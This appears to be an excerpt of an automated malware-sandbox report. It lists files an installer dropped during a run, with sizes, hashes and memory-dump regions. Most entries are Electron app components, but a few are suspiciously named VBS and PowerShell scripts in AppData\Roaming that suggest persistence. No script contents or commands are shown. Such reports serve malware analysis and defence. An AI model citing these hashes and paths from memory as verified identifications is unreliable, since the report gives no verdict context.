9f027e3b7d1a74e87f1f5e2d30bce8b8c28160698813bd97b767c5728f29b1a7

SHA512
d787924c739d552ae7c71dea00ec54ab33a9094aca2d82c62a338359abd5753a944a1e464da96fcafaf6d9e71b9aa8259f3f3003d0ad15a44fdd7c6c9e1e84df

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\sr.pak

Filesize
311KB

MD5
985a86c2ee8916f7d183e353dd9fa6e7

SHA1
5ebbcf41b56b2ec99ccef1f0267e814826f74f65

SHA256
f99b008a9584acc285f61267423cf7599914deb6f43cad347023cbfea7d51592

SHA512
faf0e2759a1100e8269f61d5b613eb9a302f91c9ec9aed3beb34d731f9325b262f1ce629d7c145103bb806b2a1f6e93c4e7e2b956104540055d60edbcf6422aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\sv.pak

Filesize
289KB

MD5
37bd9e76fa8036674bcb9a5177019453

SHA1
fdf2c18aad1ef72f1d199c37e353ba81fdf54362

SHA256
2b0c7c5aeeb4195a8a8fa050054c9bfb39086cd9bb0cc64d8b141b801f2be5e8

SHA512
d4ffc7d4280eb03827b50700fcb4326f51d7622ba8e911746263cb1059bebaf8a3206361c2ea36d2f8b5b609a7bf801d00a363e91a78137778291f0cb3ec7cfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\sw.pak

Filesize
401KB

MD5
45825ec697ffe0800ea52108ce32c90d

SHA1
667d8fd954ac3af48f7e676747404e40e2521182

SHA256
a8ccf7beb57c0fcd963255d29b91a9bf4a776c15e00332a4616dc35d55e55bdc

SHA512
3bc5d2596b40e44a5d451d3593b41713c04f847107cfa1b0bb4df1ec9d160a4c3fdff27393cb15a3d6a564317d1f09b7aa7d3dcf82a86bb1636f4f3bdd216e82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\ta.pak

Filesize
293KB

MD5
36f4ea86da32df3edc713f66a55ec629

SHA1
b67541ad5b5adaca2c96e11090510cd330254f6b

SHA256
9f3c3c333589ba4355d1355633efcdfcf0a202c7e5c296aa45a456e18bcd1767

SHA512
07827850ceeb537b777e9196942d98922f1b01e477dcb3744a4502000496925f6852f4810bb3b62e227795ae3c47bb3680bcdd8cd366b29c3e90d8ee3fbc12a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\te.pak

Filesize
315KB

MD5
f79dadc6ccafe9b54e439586ac947952

SHA1
6f36bbe2e28f51956a32858475294df0394e3f26

SHA256
afb1f74e4da1ac9c428d45ddf471cec3c61be587c2fb5f08063364fb3ef01c97

SHA512
3158aa57809fa297c607f50711820d8131d38b1a291c6caa265b3057f20a31140fb8d7f985980fd6ab2f2272998ec126370e608fc608d9ef1510534cc9e00a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\th.pak

Filesize
246KB

MD5
81c4558dacade1d0f3c979728e0345a5

SHA1
b0b50f53d38f559f83169b38006c2692d51bfec9

SHA256
76e250d55b31145a6c645d247ef36feadecebc1b5c601b3fbc873d4e526ff0e6

SHA512
64eb364f57bd4b0ab7f22e26f3627ccb6ef1345162902824b79851c0c693fb259d4a76f4b71ae297c543f505f14d67e2e837e413ee3d32afec0c883b442b1505

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\tr.pak

Filesize
341KB

MD5
6c079810d0771e2f34aba6cf60d63153

SHA1
05c6083b7443f94a51d7829274b1511aaf32ea4a

SHA256
2087f10856281bba9b3449a179a7011ba0db1542f1b734a825ccb2d8a8912eb7

SHA512
63ff22c31452d787126207c5478970148c363b2172175d33c74e6bdcddcdf357cedc449ecba5d28c346669bd8a8b26b76aaa008e13cd1f4830d6a669e5f3d93d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\uk.pak

Filesize
108KB

MD5
44a49711f6c8ec2011dbc705c5c1708b

SHA1
c256db07653e38bc724b16f3f11a76899d976638

SHA256
b761e6b49f8b999478d93b6f553a85c06ca66441656712439b214e15e6ecbe68

SHA512
21bd6d4ecb7c7d45455e5786fee38368b464dafc3ab387b8db93a2d111ae3293840ff518956e8efe0a9378147135cca98fec9705610cd5902972e4a4e5421773

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\ur.pak

Filesize
243KB

MD5
040a8fa7ccfada3ef3c4e8583765c8bd

SHA1
cc79c3a70b8be68ccc8bd00c57ac0dff3d224098

SHA256
6e403552c336f859ab026cf1a660eee3f0271a64618ddbec7f3ed8310f5130c2

SHA512
dfb9fd23e6064735394262ea674a05161836e4faef30efece6352356db2b15c863b321ef359fe5ed89e660182ad1e7cec7799bfeaed532a246d32a67895d902f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\vi.pak

Filesize
342KB

MD5
5a74dd42ced9a876340f25fcd5436722

SHA1
812261466747e47ce17af05a909419ebeb324c18

SHA256
40053fb4cea3dd8e9bcefe3de3e29618280814a0c1450652f38ec7fa8063bb3f

SHA512
1fe3804aca3828dc57df98310496650edde96620192494faefffec3a73fa92eadafab90d9f4130d2e70f99f3a87d287294c97e78d5f7968940481a6535933a86

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\zh-CN.pak

Filesize
202KB

MD5
fc1ec8f474b6a75f670625c04f5ed9a0

SHA1
d2c8fdf4e6319775fde2632dbe379d11c5505f13

SHA256
9e5929ad46729604a1f80d30c3973a16b5fbe1edbf9594dc58e09b08c43cd2f2

SHA512
6f77a645c74d31f3c6ee86f677f8920724da6a2330849f53d38863f6f2a6d79c5efdfce7e4266accdfb723bd2cd6b64738d2dd4fc84d09998381d912d3ad2b4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\locales\zh-TW.pak

Filesize
248KB

MD5
ca04fe786a03e499ffe90397855c0053

SHA1
e68b6cda8e8574f577cabeee144e2b0fc3312572

SHA256
7dbbc69e3646f1f04727ad5da03f4fd18d7ac54f630bbcb4e242a59beee878aa

SHA512
474283217448c0f4db6958e67b23637046a5612b4cc1ceafbaad1bef7511d202a7abfe14e4f19d13db931da0692595d99e832c692c536c41ef1651dc80adbf14

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\resources.pak

Filesize
1.3MB

MD5
2e752a98d9d4f22002399fc26f991c99

SHA1
57ba0eb02f5c68d4e7077e006c0347f34c20ece8

SHA256
ebacf795707d28aff8d586466ce565d24675c2a0b40659d9a3065d84b4c9c62e

SHA512
2e107bbbc450c051e1066dd02757331b2827191e001a25721bc4595546b5f3d2140662d7a2fbfeab9491f126f08b7f70c27cd7dac994065913ac277fd8b1228c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\resources\app.asar

Filesize
185KB

MD5
92cec207f1e81b04ec158b211e3d9e49

SHA1
6858e4a2985cdfd8b040e693b1c65bd3641a1937

SHA256
2cfbed086313b9295526f7bc559e14611c6dc0e2fa7871e35bfa36fac44a18ec

SHA512
7b509a40242caa9ff8f4533d721e7d25104d5c01054c01e3db54b79d707b6755dd0a6d65732521a91330f7f75b9c52ed068f9bb2e16d68aead0e2225dbe43ac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\resources\elevate.exe

Filesize
105KB

MD5
792b92c8ad13c46f27c7ced0810694df

SHA1
d8d449b92de20a57df722df46435ba4553ecc802

SHA256
9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37

SHA512
6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\snapshot_blob.bin

Filesize
262KB

MD5
40a3c2200e4126e8c47a7802532c9236

SHA1
212a4686dea5a467b7b6fa54397e42122b235f1e

SHA256
94aa518fc892ee9a0f1eb5fe35b60123ee61a5f848864b00519b96d8d5d9786d

SHA512
fa1a943822abe3737587d520654078117cae86c58fefe6dd6a09f4a08c09293e9547a0ad79c52f8638dfbb1c496df3d0e828ce414176c8fbb77113be41212866

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\v8_context_snapshot.bin

Filesize
459KB

MD5
c8f6c0dd37c5f5ee6f5a10ff99bbf276

SHA1
dd0d95dea013dcd36730e66ace4daa98c8deb8f7

SHA256
d41fd21243b46bab6d2f5171ee6dd2ebe77949c8d9be6da4d525b62a3178bb76

SHA512
339d84295d87e416b85e16442f76832cd22615a31cbcf4b8253a34d192d8830fec2997ebc6325239f606ac7ca1bd6cbd42fd23ebbed3d65ebabd97eafd617833

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\vk_swiftshader.dll

Filesize
193KB

MD5
bfc85e7aaf267b3de2fa13685f8089d4

SHA1
ed3ab969cc178d6603d601f175db4f13e32d2c0a

SHA256
4b243e54237482e2d1b99dc5273fbe50ade181c2a477324e01f8cf0b28ac454f

SHA512
a581cc64d5f563d95f4f1c6830955aa90e3c571372c93e3a03559a40241896be06c453eaa85bbb255b63f52b474441ef83772c0639c083334d86465a74e92a8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\vk_swiftshader_icd.json

Filesize
106B

MD5
8642dd3a87e2de6e991fae08458e302b

SHA1
9c06735c31cec00600fd763a92f8112d085bd12a

SHA256
32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9

SHA512
f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\7z-out\vulkan-1.dll

Filesize
213KB

MD5
ba572ee1d03de7a77f460649d463c339

SHA1
c1eb91cf2503037ac90512f68a4a2f4dadc242ca

SHA256
5e386b779a021a257fc864cc4085b859b74a7531f0f22c2e9049c5f7045c0929

SHA512
4d036cbf63053e3b6e2d8a2418771a4fe4f3b701c3c926fca7c43d49f8b6f8c64d22901794a5fb590eb9fe3d8d3bd6e862969d6df288015bc5dd992e4b3b312c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\StdUtils.dll

Filesize
95KB

MD5
f9925d433d0670563180cfb61abda86f

SHA1
23e5731b5fbe30282817675c9bcb25571e2c1b92

SHA256
4d52d6af033e6cdf87d6abee4161c8e139facfb9054518894fc5a288880c7ed3

SHA512
5f677855d9e2d5c65c3dd05799cea61fb9bdfe74b1d8f29e950c46b44984c21df1a4a34398c4a36498da25184c40a9af587f68f9faded798cbc4285dbcedb447

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\System.dll

Filesize
12KB

MD5
0d7ad4f45dc6f5aa87f606d0331c6901

SHA1
48df0911f0484cbe2a8cdd5362140b63c41ee457

SHA256
3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

SHA512
c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy4ECD.tmp\nsis7z.dll

Filesize
424KB

MD5
80e44ce4895304c6a3a831310fbf8cd0

SHA1
36bd49ae21c460be5753a904b4501f1abca53508

SHA256
b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

SHA512
c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

Download Submit
C:\Users\Admin\AppData\Roaming\3R5VtPnAn5cx.vbs

Filesize
139B

MD5
21e41722b065c94c5ddbca8ded939d7c

SHA1
1932cd73750a15bf821daa5a9755c230ff01e979

SHA256
e4de485769fe119786d78cf328979518ab7a4531cf05931d5cae980a50552c64

SHA512
1c9cdf8b9c44cbdf0b83f2ee84bb13d366352bb5f870159e760f880332edc9d6b65d2029a366708cd729e769e4394af547165ccc0829713c00f9e1e9f44eb6c5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs

Filesize
4KB

MD5
529315d09252512e38e9a3000f92de86

SHA1
a9ff409f279f4e6abb19ce9ef85c68ff4fd2d063

SHA256
8fbb37b828f23fab14effe2aec2251e378179daca99082f11d8a237319a9bda1

SHA512
e6703c46a348448bee5bbea416bfb5f18a80f7cb547b92e18ae8b3938d9f72ca5debf4f62030d36db90a253f8a60953966f62a93c00cd807bdd12791b08d1ba7

Download Submit
C:\Users\Admin\AppData\Roaming\salutOW9CS.ps1

Filesize
349B

MD5
28e4eda7451c625bbe806b745753f729

SHA1
d29e9b2c2ac5b10188cbae92cffba6827728543d

SHA256
da79e10cdff90aa7f5ab3d3f226570107ecd20d48eb14067c7900367111df5ba

SHA512
932f53b6cd2aa55ab1475d85528069357fa7d9eea26051d1a4edb11872ca30d02c31c44bed3a48f0ccdbebe556e9d8ec2f4a0815bf177d93ab4272b3fe2fb0b5

Download Submit
memory/3120-975-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/3120-972-0x0000025BEA3F0000-0x0000025BEA400000-memory.dmp

Filesize
64KB

Download
memory/3120-971-0x0000025BEA3F0000-0x0000025BEA400000-memory.dmp

Filesize
64KB

Download
memory/3120-970-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/3728-871-0x000001BACE040000-0x000001BACE050000-memory.dmp

Filesize
64KB

Download
memory/3728-873-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/3728-869-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/5732-818-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/5732-766-0x0000020368C70000-0x0000020368C80000-memory.dmp

Filesize
64KB

Download
memory/5732-765-0x0000020368C70000-0x0000020368C80000-memory.dmp

Filesize
64KB

Download
memory/5732-841-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/5736-891-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/5736-899-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/6296-916-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/6296-913-0x0000025723460000-0x0000025723470000-memory.dmp

Filesize
64KB

Download
memory/6296-912-0x0000025723460000-0x0000025723470000-memory.dmp

Filesize
64KB

Download
memory/6296-911-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/6804-858-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/6804-856-0x000001C6720E0000-0x000001C6720F0000-memory.dmp

Filesize
64KB

Download
memory/6804-854-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/6804-855-0x000001C6720E0000-0x000001C6720F0000-memory.dmp

Filesize
64KB

Download
memory/6864-830-0x000001D075120000-0x000001D075130000-memory.dmp

Filesize
64KB

Download
memory/6864-835-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/6864-786-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/6864-755-0x000001D075120000-0x000001D075130000-memory.dmp

Filesize
64KB

Download
memory/6864-754-0x000001D075120000-0x000001D075130000-memory.dmp

Filesize
64KB

Download
memory/6924-1003-0x00007FFD68B20000-0x00007FFD695E1000-memory.dmp

Filesize
10.8MB

Download
memory/6924-1010-0x00007FFD68B20000-0x00007FFD695E1000-memory.dmp

Filesize
10.8MB

Download
memory/7116-930-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/7116-926-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/7116-927-0x000001F8C8C40000-0x000001F8C8C50000-memory.dmp

Filesize
64KB

Download
memory/9848-753-0x000001447AEC0000-0x000001447AED0000-memory.dmp

Filesize
64KB

Download
memory/9848-750-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/9848-752-0x000001447AEC0000-0x000001447AED0000-memory.dmp

Filesize
64KB

Download
memory/9848-831-0x00007FFD68810000-0x00007FFD692D1000-memory.dmp

Filesize
10.8MB

Download
memory/10284-1060-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1058-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1065-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1059-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1066-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1067-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1064-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1070-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1069-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10284-1068-0x000001A2235F0000-0x000001A2235F1000-memory.dmp

Filesize
4KB

Download
memory/10824-955-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/10824-960-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/10824-956-0x0000011EEF620000-0x0000011EEF630000-memory.dmp

Filesize
64KB

Download
memory/10824-957-0x0000011EEF620000-0x0000011EEF630000-memory.dmp

Filesize
64KB

Download
memory/11204-931-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/11204-945-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/11204-942-0x000001B8D0050000-0x000001B8D0060000-memory.dmp

Filesize
64KB

Download
memory/11204-932-0x000001B8D0050000-0x000001B8D0060000-memory.dmp

Filesize
64KB

Download
memory/11540-608-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/11540-595-0x000001FA608E0000-0x000001FA608F0000-memory.dmp

Filesize
64KB

Download
memory/11540-594-0x000001FA608E0000-0x000001FA608F0000-memory.dmp

Filesize
64KB

Download
memory/11540-593-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/12156-590-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download
memory/12156-576-0x000001A5D5F60000-0x000001A5D5F70000-memory.dmp

Filesize
64KB

Download
memory/12156-583-0x000001A5EFDF0000-0x000001A5EFE12000-memory.dmp

Filesize
136KB

Download
memory/12156-575-0x000001A5D5F60000-0x000001A5D5F70000-memory.dmp

Filesize
64KB

Download
memory/12156-574-0x00007FFD68DE0000-0x00007FFD698A1000-memory.dmp

Filesize
10.8MB

Download